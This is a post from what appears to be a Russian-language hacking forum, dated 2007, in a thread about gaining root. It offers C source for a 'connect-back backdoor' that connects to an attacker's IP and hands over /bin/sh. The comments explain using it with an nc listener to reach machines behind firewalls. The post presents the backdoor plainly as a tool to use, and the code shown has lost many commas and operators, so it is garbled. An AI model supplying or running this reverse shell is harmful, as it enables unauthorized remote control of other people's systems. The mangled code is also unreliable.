Тема: R00t me №1
Показать сообщение отдельно

  #5  
Старый 27.07.2007, 07:05
SanyaX
.::Club Life::.
Регистрация: 28.01.2005
Сообщений: 1,205
Провел на форуме:
7426415

Репутация: 1398


Отправить сообщение для SanyaX с помощью ICQ
По умолчанию

Держи back-connect
PHP код:
/* Digit-Labs Connect-Back Backdoor
*
* Use this backdoor to access
* machines behind firewalls.
*
* step 1. setup a listening port
* on your box e.g.
* nc -l -p 4000
*
* step 2. Run this file :
* ./cbd <ip_of_listening_machine>
*
* grazer@digit-labs.org
* http://www.digit-labs.org
*
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>

#include <netinet/in.h>
#include <netdb.h>

int fdsock;
int port 4000;
struct sockaddr_in addr;

char mesg[] = "\n[ Digit-Labs Connect-Back Backdoor ]\n * Connected to CommandLine...\n";
char shell[] = "/bin/sh";

int main(int argcchar *argv[]) {
while(
argc<2) {
fprintf(stderr"\n\n %s <ip> \n\n"argv[0]);
exit(
0);
}


addr.sin_family AF_INET;
addr.sin_port htons(port);
addr.sin_addr.s_addr inet_addr(argv[1]);
fd socket(AF_INETSOCK_STREAM0);

if(
connect(fd, (struct sockaddr*)&addrsizeof(addr))<0)printf("fucker!\n");

send(fdmesgsizeof(mesg), 0);

dup2(fd0); // thnx dvorak
dup2(fd1);
dup2(fd2);
execl(shell"in.telnetd"0);


close(fd);


return 
1;

__________________
-=Ok let's Go=-
-=OpenVPN=-